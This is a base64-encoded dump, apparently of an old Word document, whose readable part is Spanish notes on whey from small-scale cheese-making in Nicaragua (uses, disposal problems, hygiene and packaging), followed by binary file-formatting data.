bWl0b3MgaW5jb2VyY2libGVzLCBpbnRvbGVyYW5jaWEgZ+FzdHJpY2FzLCBwYXJhIGNhc29z DWRpc3BlcHRpY29zIHkgdWxjZXJhcyBn4XN0cmljYXMuDVVUSUxJWkFDSU9OIERFTCBTVUVS Tw1UcmFkaWNpb25hbG1lbnRlIGVsIHN1ZXJvIHByb2R1Y2lkbyBzZSBoYSBpZG8gZW1wbGVh bmRvIHBhcmEgbGEgYWxpbWVudGFjafNuIGRlDWxvcyBjZXJkb3MgLiBQb3Igb3RybyBsYWRv IHNlIGhhIHRvbWFkbyBjb25jaWVuY2lhIGRlIHN1IGVsZXZhZG8gdmFsb3INbnV0cml0aXZv LCB0YW50byBjb21vIHBhcmEgZWwgaG9tYnJlIGNvbW8gcGFyYSBhbmltYWwuDVRBTUJJyU4g U0UgVVRJTElaQSBQQVJBOg1QaWVuc29zIHBhcmEgYXZlcyB5IGNlcmRvcy4gU3VwbGVtZW50 YXJpbyBkZWwgdmFsb3IgbnV0cml0aXZvIGRlbCBwYW4uIEluY2x1c2nzbg1lbiBhbGltZW50 b3MgcGFyYSBuafFvcyBvIGluduFsaWRvcyB5IHBhcmEgYWxpbWVudG8gZGlldOl0aWNvcy4g QmViaWRhcw1jYXJib25pY2VzIHkgYmViaWRhcyBmZXJtZW50YWRhcyAuIFByZWNpcGl0YWRv cyBkZSBhbGL6bWluYSB1dGlsaXphZG8gY29uDXN1cGxlbWVudG8gZGVsIHZhbG9yIG51dHJp dGl2byBkZSBhbGd1bm9zIGVsZW1lbnRvcy4gUHJlcGFyYWRvcyBjb3Nt6XRpY29zIHkNZmFy bWFj6XV0aWNvLiBGYWJyaWNhY2nzbiBkZSBhbGNvaG9sLiBGYWJyaWNhY2nzbiBkZSBnYWxh Y3RpdGEvZ2x1Y29zYS4uDUZhYnJpY2FjafNuIGRlIGxhY3Rvc2EuLiBRdWVzbyBkZSBzdWVy bywgcmljb3R0YSwgcmVxdWVzb24sIGV0Yy4gQWlzbGFtaWVudG8gZGUNcml2b2ZsYXZpbmEu DUZhYnJpY2FjafNuIGRlIOFjaWRvIGzhY3RpY28gcGFyYSBsYSBpbmR1c3RyaWEgZ2VuZXJh bCwgZmFybWFj6XV0aWNhIG8NYWxpbWVudGFyaWEuIENvbiBtZWRpYSBmZXJtZW50YWNp824g cGFyYSBsYSBmYWJyaWNhY2nzbiBkZSBhbnRpYmnzdGljb3MsDWNvbWJ1c3RpYmxlcyAobWV0 YW5vKSwgYmlvbWFzYSBwYXJhIGxhIHByb2R1Y2Np824gZGUgYWxpbWVudG9zIG8gZmFicmlj YWNp824gZGUNamFyYWJlcyBkZSBnYWxhY3RpdGEsIHBhcmEgcGFzdGVsZXLtYSBvIGZhYnJp Y2FjafNuIGRlIGNlcnZlemEuDQlMYSBmYWJyaWNhY2nzbiBkZSBxdWVzbyBkYW4gaW5ldml0 YWJsZW1lbnRlIGx1Z2FyIGEgbGEgcHJvZHVjY2nzbiBkZSB1bmEgZ3Jhbg1jYW50aWRhZCBk ZSBzdWVybywgKGFwcm94LjgzJSkuIFJlc3VsdGEgZGlm7WNpbCBzZXBhcmFyIGVsIHByb2Js ZW1hIGRlIGxhDWVsaW1pbmFjafNuIGRlbCBzdWVybywgeWEgcXVlIGxhIGVsaW1pbmFjafNu IGRlIGFxdWVsLCBzZSBlc3RhIGNvbnZpcnRpZW5kbyBlbg11bm8gZGUgbG9zIHByb2JsZW1h cyBpbmR1c3RyaWFsZXMgeSBkZSBsYSBzYWx1ZCBwdWJsaWNhIC4gRWwgc3Vlcm8gY29udGll bmUNbnV0cmllbnRlcyBtdXkgdmFsaW9zb3MsIHBvciBlc28gbm8gZGViZSBzZXIgZGVzZWNo YWRvLCBzaW5vIGFwcm92ZWNoYWRvIHBhcmEgbGENYWxpbWVudGFjafNuIGh1bWFuYSB5IGRl bCBnYW5hZG8uDQ1MYXMgbm9ybWFzIGRlIHNlZ3VyaWRhZCB5IGhpZ2llbmUgc29uIGxhcyBt YXMgaW1wb3J0YW50ZXMgZW4gY3VhbHF1aWVyIGluZHVzdHJpYQ1wb3IgZXNlIHJhem9uYSBz ZSB0cmFiYWphIGFsIGVsYWJvcmFyIGNvbiB1bmEgZ2FiYWNoYSBxdWUgY3VicmUgaGFzdGEg bG9zIHBpZXMgeQ1tdfFlY2FzLCB0YW1iaeluIHV0aWxpemFtb3MgdW5hcyBib3RhcyBkZSBo dWxlIHBhcmEgcXVlIG5vIHNlIHRyYWJhamUgZW4gdW4NbHVnYXIgc29jaW8geSBlbnN1Y2lh bmRvIGVsIGx1Z2FyLiBVdGlsaXphbW9zIGd1YW50ZXMgLCB1biBnb3JybyBwb3IgZWwgY2Fi ZWxsbw1xdWUgc2UgcHVlZGUgc29sdGFyIGFsZ3Vubywgb3RyYSBtZWRpZGEgZXMgdXNhciB1 bmEgbWFzY2FyaWxsYS4NDVRvZG9zIGxvcyBk7WFzIGRlc3B16XMgZGUgaGFjZXIgZWwgcHJv ZHVjdG8gcGFyIHBhcnRlcyBjb21lbnphbW9zIGEgbGF2YXIgbG9zDXV0ZW5zaWxpb3MgeSBt YXF1aW5hcyBjb21vIGVsIHByZW5zYWRvIHBhcmEgbm8gdHJhZXIgaW5zZWN0b3MgbW9sZXN0 b3MgKGxhcw1tb3NjYXMpOyB0b2RvcyBsb3MgcHJvZHVjdG9zIHF17W1pY29zIHF1ZSB1dGls aXphbW9zLCB0YW1iaeluIGxvcyBkZXNlY2hvcyB2YW4NaGFjaWEgdW4gcG96byBz6XB0aWNv Lg0NTm8gdG9kb3MgbG9zIHF1ZXNvcyBzb24gZW1wYWNhZG9zIHNvbG8gbG9zIHF1ZSBtZXJl Y2VuLCBjb21wcmFtb3MgbGFzIGJvbHNhcyB5DWVtcGFxdWUgZW4gZGlzdHJpYnVpZG9yYXMg ZW4gTWFuYWd1YSAoUGxhc3RpbmljKSwgZG9uZGUgc2UgY29tcHJhIGVsIHByb2R1Y3RvDXBs 4XN0aWNvIGNvbW8gYm9sc2FzLCBlbWJhY2VzIHBs4XN0aWNvIHkgcG9yb2JsYXMsIHRlbmll bmRvIGVuY3VlbnRhIHRhbWJp6W4gbGENdXRpbGl6YWNp824gbGFzIG1lZGlkYXMgZGUgaGln aWVuZSwgZW4gZWwgZW1wYXF1ZSBkZWwgcHJvZHVjdG8gdGVybWluYWRvDQ1Ub2RhIGVzdGEg aW5mb3JtYWNp824gZnVlIHByb3BvcmNpb25hZGEgcG9yIGVsIFNl8W9yIFBlZHJvIFJpdmVy YSwgYSBxdWllbiBsZQ1hZ3JhZGVjZW1vcyBtdWNoby4NDQENDQENAQ0BAQ0NAQ0AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAEAAB0BAAAdQQAAHgEAACFBAAAogQAALIEAAD3BAAAAwUAABoFAAApBQAAbAUAAG4F AACABQAAgQUAAEQGAABGBgAAXAYAAF0GAABeBgAAOgcAAD0HAAChBwAAowcAAK8HAACwBwAA jggAAI8IAACbCAAAqggAAKwIAADYCAAA2QgAACQOAAAlDgAAKw4AAFEOAABSDgAA5REAAOYR AAD8APX8AOvk2tMA0+TDtgC2w6mekYSRnsORAJG2w3YAkWmRdgCRaXYAAAAAAAAAAAAAABhD ShYAT0oCAFFKAgBeSgIAbUgKTHNICkwAGzUIgUNKGABPSgIAUUoCAF5KAgBtSApMc0gKTBhD ShgAT0oCAFFKAgBeSgIAbUgKCHNICggAGENKGABPSgIAUUoCAF5KAgBtSApMc0gKTAAUT0oC AFFKAgBeSgIAbUgKTHNICkwAGENKKABPSgIAUUoCAF5KAgBtSApMc0gKTAAYQ0okAE9KAgBR SgIAXkoCAG1ICkxzSApMAB41CIFDSigAT0oCAFFKAgBcCIFeSgIAbUgKTHNICkwADENKHABt SApMc0gKTAASNQiBQ0ocAFwIgW1ICkxzSApMAAxDSiQAbUgKTHNICkwAEjUIgUNKJABcCIFt SApMc0gKTAAMQ0ooAG1ICkxzSApMAAY1CIFcCIEnAAQAACMEAABQBAAAdAQAAHUEAAB2BAAA dwQAAHgEAACiBAAA9QQAAPYEAAD3BAAAGgUAACkFAAA4BQAASAUAAFwFAABsBQAAbQUAAG4F AACABQAAgQUAAEQGAABFBgAA+AAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADxAAAAAAAAAAAA AAAA8QAAAAAAAAAAAAAAAOcAAAAAAAAAAAAAAADnAAAAAAAAAAAAAAAA5wAAAAAAAAAAAAAA AOAAAAAAAAAAAAAAAADnAAAAAAAAAAAAAAAA5wAAAAAAAAAAAAAAAOcAAAAAAAAAAAAAAADW AAAAAAAAAAAAAAAAzwAAAAAAAAAAAAAAANYAAAAAAAAAAAAAAADWAAAAAAAAAAAAAAAA1gAA AAAAAAAAAAAAANYAAAAAAAAAAAAAAADnAAAAAAAAAAAAAAAA5wAAAAAAAAAAAAAAAOcAAAAA AAAAAAAAAADIAAAAAAAAAAAAAAAAxgAAAAAAAAAAAAAAAMgAAAAAAAAAAAAAAAAAAAERAAAG AAASZGgBAQATpHgAAAYBABJkaAEBABOkeAAACQAAAyQCEmRoAQEAE6R4AGEkAgAGAgASZGgB AQATpHgAAAkAAAMkARJkaAEBABOkeABhJAEABhAAEmRoAQEAE6R4AAAGDwASZGgBAQATpHgA ABcABAAAsWQAAP4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgEBAUUGAABGBgAAXQYAAF4GAACfBgAAoAYAAOUG AADmBgAAPgcAAD8HAACgBwAAoQcAAKIHAACjBwAArwcAALAHAACOCAAAjwgAAJAIAACRCAAA kggAAJMIAACUCAAAlQgAAJYIAACXCAAAmAgAAPgAAAAAAAAAAAAAAADuAAAAAAAAAAAAAAAA +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 